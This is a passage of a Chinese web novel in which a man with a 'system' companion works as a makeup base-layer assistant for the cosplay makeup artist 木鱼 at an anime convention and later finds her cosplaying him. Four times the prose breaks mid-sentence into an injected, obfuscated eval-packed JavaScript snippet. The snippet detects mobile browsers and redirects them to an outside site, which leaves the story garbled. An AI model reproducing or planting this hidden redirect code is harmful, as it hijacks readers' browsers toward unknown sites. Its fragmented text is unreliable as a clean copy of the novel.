房门开了，露出房间内一头粉发的女生。 女生在看清门外的人后，愣住了。 还是祁帘栅先开口问道：“我是过来帮忙的打底娘，你是木鱼吗？” 女生这才反应过来，后知后觉地应了两声：“哦哦。” 秉持着二次元不可貌相的传统，女生还是礼貌性地询问了一句：“老师你是女生吧？还挺帅。” 祁帘栅有些说不出话来，但奈何现在有外人在场，系统出不了声，没人帮他想办法应对这尴尬的场面。 祁帘栅和木鱼对视半天，还是很诚实的说道：“我是男生。” 这回木鱼确确实实愣住了，她张了张嘴，有些不知道说什么，很是尴尬地出声：“那个，我想要的是女生。” 祁帘栅更尴尬地点头：“我知道，但是因为我实在没钱了，所以只能来当打底娘。” 听完祁帘栅这话，木鱼没有怀疑，一副恍然大悟的样子，“我懂我懂，二次元嘛，常有的事。” 她盯着祁帘栅看了一阵，指了指自己的嘴：“那个老师，你能不能给我看看你的真实样子，不然我也不太敢用你，毕竟你是男生嘛。” 祁帘栅犹豫起来，木鱼就站在门口一直看着他。 为了赚钱，祁帘栅一咬牙，还是摘下了黑口罩。 木鱼看见祁帘栅的脸，眼睛顿时亮了起来，她一改之前的勉为其难，兴奋地开口道：“老师，你这简直就是成男圣体啊，不用上妆，洗把脸就去漫展了。” “还有这身高，根本不用垫，”木鱼说着都快哭了出来，“你知道我每次为了垫到一米九，穿着二十厘米的增高鞋有多痛苦吗？” “话说，我怎么总感觉你有点眼熟，我们是不是之前扩过列啊？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251676|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁帘栅见木鱼还要说，生怕她认出自己的身份，赶紧打断她：“木鱼老师，我们还是先准备一下吧，不然等会儿接妆来不及了。” “哦对，”木鱼看着祁帘栅，虽然还是有些犹豫，但第一单的时间就要到了，也来不及换人。 她想了想，从包里拿出一个狐狸耳朵，递给祁帘栅，“老师，你要不还是戴上这个吧，不然我怕你影响生意。” 祁帘栅完全没明白木鱼的脑回路，在他看来，这群二次元都神神叨叨的，但为了保住这份工作，祁帘栅还是不情不愿地戴上狐狸耳朵。 祁帘栅的五官深邃，棱角分明，这双有些萌的狐狸耳朵在他头上，有种反差感，意外地有些合适。 木鱼见祁帘栅这副样子，满意地点点头，她将手里的粉底液粉底刷粉扑一股脑塞进祁帘栅手里，交代道：“等会儿客妹客弟来了，你就给她们上底妆，上完我来给她们画其他的就行。” 祁帘栅其实想问问木鱼怎么打底妆，但木鱼已经开始忙活着收拾其他东西了，祁帘栅没有办法，只能跟木鱼说了一声，将自己关进厕所。 “肉肉，怎么打底妆？”祁帘栅有些着急。 系统似乎有些困，打了个哈欠，才慢悠悠说道：“你等等，我去给你找点教程。” “行。”祁帘栅赶紧应道，着急地等着系统回复。 谁知祁帘栅等了整整一分钟，系统才又慢悠悠晃出来，“我描述不出来，要不你花十积分兑换一个投影仪，我投给你看？” 祁帘栅苦闷道：“我没有积分。” “没事，可以赊账。”系统看起来还挺大方。 祁帘栅听见门外有人进来了，似乎跟木鱼聊了两句，他没时间再犹豫，忍痛赊了十个积分。 系统这回倒还挺靠谱，给他看的视频都挺详细，祁帘栅看一遍基本就明白了流程。 他深吸一口气，推开门，就见木鱼已经打着哈欠开始给客妹化妆了。 祁帘栅走过去，看着木鱼的手法，偷偷学起来。 木鱼转头拿眼影的时候，正好看见祁帘栅站在她身后，木鱼吓了一跳，连忙说：“这个妆你没动手，不算钱啊。” 祁帘栅点了点头，继续偷看起木鱼。 木鱼化妆化得很熟练，基本都能一笔搞定，没过几十分钟，就画好了一个人。 祁帘栅本来准备向她问几个问题，结果木鱼没等祁帘栅开口，就一头栽进床里不动了。 祁帘栅没敢打扰她，默默坐到一边。 他还没休息几分钟，就又有人上门了。 木鱼头都没抬，从床里伸出一只手，有气无力道：“你先给他打个底，打完叫我。” 祁帘栅只得应下，不知道该不该庆幸，至少这回是个客弟，不会对祁帘栅投以别扭的目光。 客弟带着发网在座位上坐好，闭上眼。 祁帘栅看着面前这颗卤蛋，突然有点想笑，他抬起手，忍笑挤出一坨粉底液。 结果手一抖，粉底液越过他的手，滴在了客弟衣服上。 祁帘栅满脸惊恐。 5. 刮腻子 时间太早，客弟坐在座位上，看起来没注意到祁帘栅的小动作。 祁帘栅心虚地看了眼木鱼，发现她睡得正熟。 祁帘栅赶紧扯了张纸，象征性地擦了擦客弟的衣服，极其不熟练地把粉底液涂在客弟脸上，开始刮腻子。 等客弟整张脸厚得跟墙皮一样，祁帘栅满意地看着自己的作品，转头喊道：“木鱼老师，好了。” 木鱼一听这话，眼睛还没睁开，就从床上爬了起来，她眯着眼坐到客弟面前，一睁眼，就看见客弟脸上的粉掉了几颗。 祁帘栅有些心虚地跑到一边，木鱼的视线立刻瞪过来。 祁帘栅用口型道：“我抹得挺匀的，这脸也白。” 木鱼一看时间，来不急重化了，只能无奈道：“下次你少用点我粉底行不行，的这粉底液很贵的。” 祁帘栅赶紧应道：“明白明白。” 木鱼再次展现了她熟练的化妆技巧，这回用的时间更短，她化完妆连打好几个哈欠，直接坐在座位上睡着了。 紧接着又来了一个客妹，祁帘栅只得赶紧迎上去，拿出粉底刷严阵以待。 客妹盯着祁帘栅瞪大眼睛，又看了看木鱼，满眼不可置信：“你是谁？我约的木鱼老师。” 祁帘栅被她盯着，有些不好意思道：“我是木鱼找的打底……娘。”最后一个字几乎是咬牙切齿才说出口的。 客妹还是满眼震惊，脱口而出：“你不会是她男朋友吧？” 祁帘栅听到这话，赶紧否认，头摇得飞快：“我跟她今天第一次见，绝对不是男朋友。” 客妹听后半信半疑地在座位上坐下，祁帘栅本就没什么经验，再加上面前这客妹明显对自己有些意见，打粉底的动作都有些僵硬。 好不容易等他打完粉底，祁帘栅刚松一口气，下一个客妹正好敲门进来。 木鱼拍了拍脸，强打精神开始化妆，她一边化妆，一边对祁帘栅吩咐道：“我先化这个，你抓紧时间给下一个客妹打底。” 祁帘栅来不及休息，慌慌忙忙地开始上粉底液，好在这个客妹只是好奇地问了一嘴，就安静下来，对祁帘栅也没什么意见。 木鱼虽然困，但化起妆来手速飞快，祁帘栅刚打完底，木鱼就画完了大半。 祁帘栅这下没事干了，只能跟面前的客妹大眼瞪小眼。 客妹见气氛有些尴尬，低头玩起手机。 祁帘栅买不起手机，实在无聊，就和木鱼没话找话，“你化妆这么熟练，干了好多年了吧？” 木鱼一边勾眼线，一边回道：“也就两三年吧，只要你画得够多，一样能画成这样。” 祁帘栅眼看木鱼都开始涂口红了，谦虚道：“还是你有实力，我估计练上十年也比不过你。” “你要是可以的话，还是找个正经班上吧。”木鱼说着已经化好这个客妹，招呼着另一个客妹坐下，“我这行不好干，只有大展的时候，才能接到多一点的单子。” “平时几乎没人，就相当于失业。”木鱼对照完人设图，开始化眼妆，“就拿我这次来说，一个妆八十，还得分给你十五，一天下来顶天二十个人，就是一千三。” “再去掉我化妆品的成本，能有一千顶天了。”木鱼一边说着话，一边认真地给客妹化着妆，不知道祁帘栅在一边听着已经要羡慕哭了，他做梦都想一天赚这么多钱。 “哦对，”木鱼说道，“还有我的酒店路费和餐费，这都没算呢，我就说怎么感觉我没赚这么多，这样看，一天六七百吧。” 木鱼刚说完这句话，又一个客妹进来了，祁帘栅对化妆流程已经熟悉了，赶紧坐下来给她打粉底。 这回他刚上了一下粉底，客妹突然叫住他：“老师，不先遮眉吗？” “遮眉？”这触及了祁帘栅的知识盲区，他有些尴尬地跟客妹对视。 木鱼听见这边的动静，顺手撂过来一个胶棒，“用这个把眉毛粘一起，然后用遮瑕把眉毛遮住。” 祁帘栅虽然不懂，但是他还是照着木鱼的话，用胶棒在客妹脸上来回涂抹。 客妹总觉得面前这个人奇奇怪怪，用的方法跟其他妆娘不太一样。 她转念一想，毕竟眼前这个不是妆娘，是打底郎，有些不一样也是正常的。 祁帘栅完全不知道客妹是怎么想的，反正他按照指示，在客妹眉毛上厚厚涂了一层胶，就开始拿遮瑕疯狂涂抹。 但客妹的眉毛太浓，祁帘栅涂了好几遍都没遮住，他干脆挖了一坨遮瑕，在客妹惊恐的眼神中，糊在她眉毛上。 客妹视线往上一看，那坨遮瑕差点掉进她眼睛里，吓得客妹立刻闭上眼。 祁帘栅涂了半天，终于将客妹变成一颗光滑的卤蛋，他满意地将客妹推到木鱼眼前。 木鱼看着祁帘栅遮的眉，明显和脸上其他皮肤的色块不太一样，她只能对客妹抱歉道：“他经验不太好，我给你再遮一下眉吧。” 客妹看了祁帘栅一眼，点了点头。 木鱼将遮瑕从盘里挖出来，又调了下颜色，才往客妹眉毛上涂。 祁帘栅在旁边看着，果真看起来舒服多了。 他默默捂脸，躲到厕所里，“肉肉，我觉得我还是干不好这一行。” 系统正看着乐子，见祁帘栅躲起来了，赶紧催促他：“你快再出去化两个，我还没看够呢。” “你跟我说实话吧，”祁帘栅道，“我今天有没有被人挂。” “我找找啊。”系统开始在网上翻起来，“目前还没有，估计大家现在没时间理你。” 祁帘栅松了口气，他再次走出厕所，就发现木鱼已经化好妆了，她看了看时间差不多了，开始给自己打底妆。 祁帘栅有些好奇，问道：“你自己也化啊？” “对啊。”木鱼一边将美瞳往眼睛里戳，一边回道，“我今天还要去逛展，只能趁空隙给自己化。” 祁帘栅在她身边坐下来，准备休息一会儿。木鱼突然问道：“哎，对了，你今天cos不，看在你给我帮了这么久的忙的份上，我可以免费给你化个妆。” “怎么样？我人还是很好的吧？”木鱼戴完美瞳，冲祁帘栅眨了眨眼。 祁帘栅还是不太习惯看着一个卤蛋对着自己说话，只敷衍道：“挺好挺好。” “那是，”木鱼开始给自己化眼妆，“毕竟你是个来混钱的人，一点经验没有，我还没把你赶走。” 祁帘栅一僵，问道：“你是怎么看出来的？” “这不废话吗？”木鱼翻了个白眼，“你都干成这样了，我还看不出来，不要挑战我的专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251677|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业啊，喂。” 祁帘栅没说话，木鱼就继续说道：“要不是看你可怜，我才不会收留你呢，我真是人美心善的木鱼小姐姐，哈哈哈。” 木鱼极其豪放地笑了几声，祁帘栅被她这笑声惊到，生怕被她传染上什么奇怪的疾病，赶紧往后退了几步。 想了想，祁帘栅还是说了一句：“谢谢。” 木鱼听到这话，更加大声地笑了起来，“没事没事，毕竟我是，” “人美心善的木鱼小姐姐。”两人异口同声，说完没忍住，木鱼又笑了起来。 好不容易止住笑，木鱼突然想起来一件事，“对了，我还不知道你的cn是什么。” 祁帘栅经过系统的介绍，已经明白大部分黑话，他想了想，现场给自己起了个名字：“熊猫。” “熊猫？”木鱼想了想，“没听说过啊，你是不是没名气？”说到这，木鱼赶紧停下来，她偷看祁帘栅两眼，生怕戳到他伤心处。 “没事，”木鱼想了想，“你以后就跟我混吧，我总感觉你还怪亲切的嘞。” 祁帘栅在一旁看着木鱼化妆，突然觉得木鱼越发眼熟起来，木鱼抽空看了眼时间，突然说了句：“完了，这客妹怎么迟到这么久，我后面的单时间都快到了。” 木鱼正说着，客妹卡着最后一秒敲了敲门，不好意思地对木鱼说道：“不好意思啊老师，我睡过头了。” 木鱼瞪着眼看着客妹，“你迟到了四十分钟，下一个客妹都要来了。” 客妹说道：“那没办法了，老师你看着快点给我化吧。” 木鱼有些无语，她对祁帘栅说道：“这样吧，你先帮等会儿到的客妹打个底，我二十分钟快速化一下。” 祁帘栅答应下来，他和木鱼忙活了好一阵，才终于追回来刚才耽误的时间。 两人都累得够呛，好不容易送走最后一个客妹，木鱼一下子就瘫在床上，半天没动。 祁帘栅仰靠在座椅上，感叹道：“你这钱真不好赚啊！” “那是，”木鱼的声音有气无力，“我等会儿还得去漫展，先让我把妆画完。” 说着她强撑着身体坐起来，开始化自己另一只眼睛。 祁帘栅坐在一旁，一闲下来，他就感觉一阵强烈的饿感袭来，他忍了一阵，还是没忍住，肚子发出了巨大一声响。 木鱼听到这声，奇道：“你放屁了？” 祁帘栅脸色扭曲，半晌，他默默道：“你不饿吗？” 木鱼奇怪道：“不饿啊？你早上没吃饭？” 祁帘栅正想说是，木鱼突然反应过来，“哦对，我也没吃早饭。” “那要不我们等会儿去吃点？”木鱼问道。 祁帘栅点了点头。 木鱼很快就化完妆，只剩一个口红没涂，她从一边把假发拿出来，终于遮住了她圆圆的卤蛋头。 祁帘栅看着她，终于觉得顺眼了不少。木鱼将黑色冲锋衣套在自己身上，照了照镜子，对祁帘栅说道：“走吧。” 祁帘栅抬起头，看见木鱼的时候，两人都愣了一下。 木鱼看着两人身上一模一样的冲锋衣，开口道：“挺巧。” 祁帘栅则是看着她那张化得和自己有八分相似的脸，大惊失色道：“你cos的不会是祁帘栅吧？” 6. 地府蓝 “对啊，”木鱼皱眉看着他，“你不会是想说作者烂尾，导致角色被牵连，所以我不能cos吧？” “那倒没有，”祁帘栅赶紧摆摆手，“只是觉得这个角色跟你本人的反差有些大。” “你懂什么？”木鱼轻哼一声，“我就喜欢cos祁帘栅，这种越有反差感的挑战性越强。” 祁帘栅不知道该说什么，只盼着木鱼不要发现自己有什么不对。 “哎？”祁帘栅越怕什么越来什么，木鱼突然认真打量起祁帘栅，摸了摸下巴，“话说，我怎么感觉，你比我还像祁帘栅？” 祁帘栅在心中说了句：废话，但他面上没敢表现出来，只低头将自己全身上下看了一遍，装作疑惑道：“是吗？” 木鱼点点头，“真的哎，你本人就和祁帘栅有八分像，我想想啊，稍微化个淡妆遮下脸上的瑕疵就行。” 木鱼说着，也没替祁帘栅做决定，她先是小心翼翼地问祁帘栅：“你喜欢祁帘栅吗？” “嗯？”祁帘栅心说这是什么奇怪问题，但他还是一本正经道，“还挺喜欢的吧。” “好哎，”木鱼立刻兴奋起来，“我就知道，一看我们就能聊得来，下次……不对，就明天，你cos祁帘栅怎么样？” 祁帘栅听了这话，只觉得太阳穴突突地跳，好巧不巧，他前两天刚因为cos自己被投厕。 但看着木鱼兴奋的表情，大有他不答应就杀了他的架势，祁帘栅咽了咽口水，只得不情不愿道：“行。” 木鱼欢呼一声，关上房门，一边向外走一边对祁帘栅道：“你放心，明天我给你包妆造，你不用掏钱。” 这是唯一一个好消息了，祁帘栅心想。 他笑得有些勉强，木鱼开心问道：“吃点什么？今天鱼姐心情好，请你吃午……下午茶。” 祁帘栅不是很好意思，摸了摸头，说道：“算了，从我的工资里扣吧。” 木鱼倒是很热情，“没事，我又请你吃不起贵的东西。” 最后祁帘栅眼睁睁看木鱼在特价团里翻来翻去，终于找到一个最便宜的面，只要五块多。 木鱼生怕一转眼就没了，立刻下单两张券，带着祁帘栅就往店面走去。 祁帘栅不好意思的心情立刻收了回去，跟木鱼两人坐在苍蝇小馆里。 木鱼特地把自己垫到了一米九，两人走在路上的时候，看起来差距不大，这回一坐下，木鱼直接就跟下半身折断了一样，上半身只有祁帘栅大半高。 祁帘栅没忍住笑了一声，木鱼只以为他看见了什么有意思的事，催促道：“漫展五点就结束了，我们得快点。” “其实我现在不是很饿。”祁帘栅饿了大半天，这会儿已经饿过劲了。 两人正说着话，面端上来了。 木鱼将一碗面推到祁帘栅面前，示意祁帘栅先吃，“你试试毒。” 小白鼠祁帘栅无语地接过面，夹一筷子尝了尝，意外地，味道还不错。 木鱼见祁帘栅没说难吃，直接就开始狼吞虎咽，丝毫不在意自己的形象。 祁帘栅看着木鱼顶着和自己八分像的脸，做出如此不顾形象的行为，默默扶额，只希望没人看见这副场景。 好在现在不是饭点，没什么人来吃饭，才让祁帘栅这种本来不怎么在意形象的人，勉强保住体面。 就这么一耽搁，等祁帘栅再次开始吃面时，木鱼都快吃完了。 祁帘栅不好意思让木鱼等他，加快吃饭速度。 木鱼吃完饭，见祁帘栅还在吃，拿起手机随便翻翻。 她看见手机黑屏上自己的脸时，才后知后觉地想起自己今天化了妆。木鱼赶紧将手机背面翻过来，对着手机壳上的小镜子，一点点擦起自己的嘴。 她的嘴边此刻已经惨不忍睹，全是油渍，木鱼只能拿出气垫一点点补妆。 祁帘栅没化妆，所以就没有木鱼的烦恼，在木鱼补妆的时候，吃完饭，随便擦了擦嘴。 等木鱼补好妆，已经下午三点了，两人才慢悠悠晃到漫展。 离漫展结束还有两个小时，人基本都开始往回走了，只有祁帘栅和木鱼两个异类，逆着人群往里走。 经过这两天，祁帘栅早就对漫展有阴影了，他戴上口罩，将自己遮的严严实实。 没走两步，就有人在身后喊道：“老师老师，你出的是祁帘栅吗？” 祁帘栅一个激灵，赶紧往前跑了几步。 木鱼听到这声音，很有职业操守，立刻转过头，带上祁帘栅特有的温和笑容，“是的，你要集邮吗？” 祁帘栅见“祁帘栅”对着自己笑，总感觉浑身奇怪，赶紧偏过头。 那人见木鱼转过头，转了圈眼睛，才再次说道：“哦哦，是的是的。” 说着他跟木鱼集了个邮，见木鱼转身要走，赶紧叫住木鱼：“老师，我能单独给你拍一张吗？” 木鱼倒是没什么意见，站在原地，任由那人拍了张照。 两人道完别，木鱼追上祁帘栅，奇怪道：“他叫的是我，你跑什么啊？” 祁帘栅扯了扯嘴，“我之前被人投厕过，有阴影了。” 木鱼恍然大悟，她拍了拍祁帘栅的肩，安慰道：“没事，习惯就好。最好的办法就是卸载微博，看不见相当于没被投厕。” “这叫精神胜利法。”木鱼说着，噗嗤一声笑出声。 祁帘栅不懂她的梗，只能站在一旁看着木鱼大笑。 大概是觉得祁帘栅太过无聊，木鱼摊了摊手，“好了，走吧，我们赶紧看看，还有没有什么有意思的东西玩。” 祁帘栅一点也不想去漫展玩，但碍于木鱼现在算是自己老板，自己的工资还没拿到，只能跟着木鱼到处乱跑。 木鱼的精力倒是很旺盛，她一到漫展，就跟活过来一样，到处追着老师集邮。 祁帘栅在她身后跟着，差点没把脚走断。偏偏漫展结束后，木鱼还不回去，拉着祁帘栅跟着人群，坐地铁到地府蓝继续逛。 一路上祁帘栅都被人挤着，再加上他带着口罩，呼吸不过来，差点被憋死。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251678|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 木鱼见他一脸想死的表情，奇道：“你怎么回事？这么大热天还不摘口罩。” 祁帘栅本来偷偷躲在角落摘下口罩，木鱼这么一说，立刻吸引过来一堆人的注意力，祁帘栅摘口罩的动作一缓，欲哭无泪地看着木鱼。 木鱼丝毫不觉自己破坏了祁帘栅天衣无缝的计划，她对着祁帘栅竖起拇指，嘴里说着：“佩服佩服。” 祁帘栅感觉自己被木鱼架在火上烤，只能装作高冷地对她点了下头。 木鱼奇道：“你什么时候这么高冷了？” 祁帘栅只觉得周围偷看他的视线多了一倍不止，他实在受不了万众瞩目的感觉，尤其是众人认出他旁边的木鱼cos的是某位知名角色，看着两人的目光越发奇怪起来。 祁帘栅干脆地拉起木鱼的手，带着她加快脚步，在人群中穿梭，快速逃离了这里。 木鱼被他突如其来的举动弄的越发迷糊，但她总算看出来了，祁帘栅不喜欢站在舆论中心，所以木鱼好心地配合着祁帘栅压低声音，“你社恐？” 祁帘栅不知道怎么形容自己的心情，他看着“祁帘栅”，勉为其难地点了下头。 木鱼用手打了下自己的嘴，不好意思道：“我不知道你社恐，哎呀，是我不对，下次一定改。” 祁帘栅心中涌现一丝感动，有些激动地点点头。 “那个老师，我能跟你集个邮吗？”木鱼一听见这个声音，完全就把刚才的话抛在了脑后。 她兴致勃勃地转过头，热情道：“当然可以。” “我今天不太方便，能不能请老师自拍一张？” “当然可以啊。”木鱼说着接过手机，对着镜头摆了一个很装的自恋表情。 递手机的人明显嘴角抽了抽，欲言又止地看着木鱼，接过手机时明显像是接过来了什么脏东西。 明明丢人的是木鱼，祁帘栅却觉得自己的脸皮碎了一地。 木鱼自拍完，就见祁帘栅愣愣站在一旁，一副快碎掉的表情。 她想了想，有些小心地问道：“熊猫老师，你需不需要出去透口气？” 说着她还小声嘟囔一句：“怎么比狄加还社恐，真奇怪？” 祁帘栅完全没想起来自己临时编的名字，“熊猫？” 木鱼偏头，“不是你吗？” 祁帘栅闭了闭眼，艰难吐出一个字：“行。” 他看着面前这个“祁帘栅”，总觉得自己要在很长一段时间，痛失本名了。 祁帘栅默默在心中念道：我不是祁帘栅，我不是祁帘栅，我是熊猫，我是熊猫…… “那个老师cos的不会是祁帘栅吧？” 祁帘栅正在心中念叨着，听见这句话，向声音传来的地方转过头，果然看见两个女生凑在一起，偷偷摸摸地往木鱼的方向看。 木鱼此时正在看低排的谷子，因为她垫得太高，蹲下身有些困难，所以只能弯着身子。 熊猫老师见“祁帘栅”满脸姨母笑，旁若无人地撅个大腚，眼前又是一阵发黑。 7. 形象 木鱼完全没有注意到其他人的目光，她正专注地挑选谷子，手里拿了三四个，来回比较，看起来很纠结。 “你觉得哪个更好看些？”木鱼将谷子递到祁帘栅眼前，“我感觉这个画风更好，但是那个是全员的，我拒绝不了。” 熊猫老师眼睁睁看着两个女生对着“祁帘栅”的屁股拍了张照，两人脸上憋笑，又偷偷看了“祁帘栅”好几眼，才捧着手机走远。 熊猫老师不想听木鱼说话，随口道：“选不出来就都买吧。” “看不出来啊？”木鱼站直身体，“你还挺豪的，我算是知道你之前怎么给自己花到分文不剩了。” “不是，我没有。”祁帘栅反驳的声音有些弱。 木鱼伸手拍了拍他的肩，一副兄弟都懂的表情，抿了抿唇。 “哎，算了。”木鱼忍痛放下画风好的谷，拿起那张全员图，“我还是拒接不了全员啊。” “你有没有什么想要的？我们再逛逛？”木鱼捧着自己的谷，看起来很开心。 祁帘栅看着自己空空的钱包，立刻摇了摇头。 木鱼见他不看，欢呼一声，拿着自己的宝贝谷付款去了。 当祁帘栅听见半个掌心那么小的玩意儿要五十块时，他直接瞪大眼睛，开始默默算起他要打几个底妆才能赚回来。 木鱼直接大手一挥，眼睛都不眨一下，五十块钱就花了出去。 “我能看看这个吗？”祁帘栅有些好奇，指了指木鱼手里的东西。 木鱼有些肉痛，但她还是小心翼翼地将东西递到祁帘栅手里。 祁帘栅另一只手刚要捏上去，木鱼就赶紧叫住了他，“哎哎哎，你小心一点，别给我弄上划痕了，我回去还得贴个保护膜。” 祁帘栅被她吓了一跳，拿也不是，不拿也不是，手都不知道该往哪放。 木鱼见祁帘栅拿着谷的手指甲眼看就要碰到谷子，她想都没想，直接一把从祁帘栅手里夺过来。 祁帘栅刚看清楚这就是个普普通通的小铁片，上面粘的图案还挺好看，就是怎么看，怎么都值不了半百。 木鱼小心翼翼地将谷子平放在手上，对着光看了半天，发现没有划痕，她这才松了口气。 “你看就看，指甲离我的宝贝远点啊。”木鱼将谷收进包里，避免祁帘栅再次跟它接触。 祁帘栅总感觉自己是什么脏东西，被木鱼嫌弃了。 “好了好了，”木鱼满意地拍了拍包，“今天不能再吃谷了，再吃谷就真的吃不起饭了，我要节制一点。” 祁帘栅还是不太能理解，“这值吗？” 木鱼偏过头看他：“当然。哎，”她突然反应过来，“我刚才是不是花了半百？” “嗯。”祁帘栅回道。 “不是，我花了半百！”木鱼睁大眼睛，后知后觉地算起来，“这够我吃多少好东西了，舒芙蕾，小蛋糕，泡芙，鲜花饼……等等等，我去，” 木鱼突然心痛地捂住心口，“完了，我是不是被洗脑了，为什么要花这么多钱买这个小玩意儿啊？” 木鱼前后反差太大，祁帘栅看着她疯魔的样子，一时不敢开口说话。 “老师，能不能跟你集个邮啊？” 祁帘栅听见这话，条件反射地往后退一步，将木鱼身边的位置空出来。 一位有些胆怯的女生走过来，却没看木鱼，反而是走到祁帘栅面前，再次小声问道：“老师，能和你集个邮吗？” 祁帘栅此时站在室内，一米九的个头在人群中确实显眼，加上他身材修长，也不弯腰驼背，带上黑口罩增加了神秘感。 更何况木鱼在他旁边的反应过于强烈，吸引来不少目光，更衬托着身边的祁帘栅气质清冷，迎来不少欣赏的目光。 女生见祁帘栅半天没说话，刚鼓起来的勇气顿时消失了大半，她没再开口，已经想着如何离开这边。 祁帘栅发现了她的尴尬，赶紧解围道：“不好意思，我刚才以为你在跟她说话。当然可以。” 祁帘栅说完这话，还很贴心地蹲下身，跟女生的头维持在同一水平线上。 女生赶紧拿出手机，刚要拍照，想了想又问道：“原相机可以吗？” “可以。”祁帘栅点了点头。 女生高兴地和祁帘栅拍完合照，这才意犹未尽地离开。 周围的见状，虽然不太认识祁帘栅到底出的什么角色，但总觉得眼熟，加上祁帘栅气质过于出众，纷纷围着祁帘栅集邮。 祁帘栅哪见过这阵仗，也不好意思拒绝，真在地府蓝当上了熊猫。 等木鱼终于接受自己花了一大笔钱，调理好心态后，就发现祁帘栅不见了。 她有些遗憾地转了一圈，发现人群开始向一个地方移动，像是有什么著名嘉宾来到这里的架势。 木鱼是爱凑热闹的性格，犹豫一秒，毫无心理负担地抛弃了祁帘栅，跑进人群里要跟著名coser集邮。 她好不容易挤到前排，一个人没站稳往她这边一靠，木鱼就感觉自己的肩垫偏离肩膀。 木鱼眼疾手快地接住掉下来的肩垫，一抬头，就和某位“嘉宾”撞了个对眼。 “原来是你。”木鱼嘴角抽了抽，兴致一下少了大半。 祁帘栅被围着拍了好久照片，腰酸背痛，终于看见一个熟人，眼中顿时浮现一抹激动，求助般地看向木鱼。 木鱼接受到祁帘栅的目光，有些好笑，她挑了挑眉，对祁帘栅比了个口型：求我。 祁帘栅好汉不吃眼前亏，立刻可怜巴巴地望向木鱼。 木鱼见状，满意地点点头。 她在祁帘栅期盼的眼神中，挤开了最后一层人群，拉着祁帘栅的手腕，就把他往人群外带。 众人见突然出现的coser要把祁帘栅带走，不满地出声问木鱼：“你是谁？为什么带他走？” “他是我亲友，今天陪我来逛展的。”木鱼被人群挤着，差点没拉住祁帘栅的手，她不禁加大了手上的力度，拉紧祁帘栅。 木鱼对着众人解释道：“还有，他不是coser，今天是原皮出来的。” 众人听到这话，顿时面面相觑。 木鱼趁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251679|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这空隙，手上赶紧用劲，一下将祁帘栅拉了出来。 “快走。”木鱼低声对祁帘栅说了一句，就带着他快步上了楼。 祁帘栅被她带着跑上了楼，又被人群挤了好久，实在喘不过来气。 他对着还要拉着自己跑的木鱼上气不接下气地说了一句：“等一下。”就感觉木鱼终于停了下来。 祁帘栅摘下都快焊在嘴上的口罩，赶紧深吸几口气，好不容易才缓过来，就看见木鱼正看着他笑。 “当著名coser的感觉怎么样？”木鱼弯起眼。 祁帘栅后怕地摇了摇头，他这才看清木鱼一边肩明显塌了下来，衣服被挤得有些发皱，造型假发凌乱，看起来有些狼狈。 透过木鱼的眼睛，他自己也没好到哪去，因为长时间呼吸不顺，脸被憋得通红，鼻子上还有口罩压出来的印子。 木鱼看着他这副狼狈的样子，又忍不住笑了起来，很不给面子地嘲笑道：“太搞笑了。” 祁帘栅看着两人的样子，心里想道，完了，这回他们更像了。 木鱼笑了一阵，才发现自己的肩垫还在手里，她赶紧将肩垫塞回去，“都怪你，这下形象全毁了。” 祁帘栅很中肯道：“你本来就没什么形象。” “确实。”木鱼没有反驳他，“维持形象很累的，我还是做一个没有形象的木鱼比较开心。” “所以，”祁帘栅看着木鱼，“我不太明白，为什么不做自己，要cos别的人。” 木鱼歪过头，看着祁帘栅，满眼疑惑，“这是什么问题？你不也是这个圈子的？你得问自己啊。” 祁帘栅被噎住，半天没说出话来。 他其实想反驳木鱼的话，但不知道木鱼得知自己压根就是一个死现充，会怎么想。 这是他来到这个所谓真实的世界，认识的第一个他单方面认为是朋友的人，不太想失去她。 祁帘栅最终没出声，又默默戴上黑口罩。 木鱼对着手机壳背面的小镜子，拨弄起凌乱的头发，只是越拨，越没形状。 她叹了口气：“算了，还是得专业的人来。” 祁帘栅又和木鱼逛了一阵，直到木鱼的脚已经痛到失去知觉，两人才好不容易找到一个地方坐下。 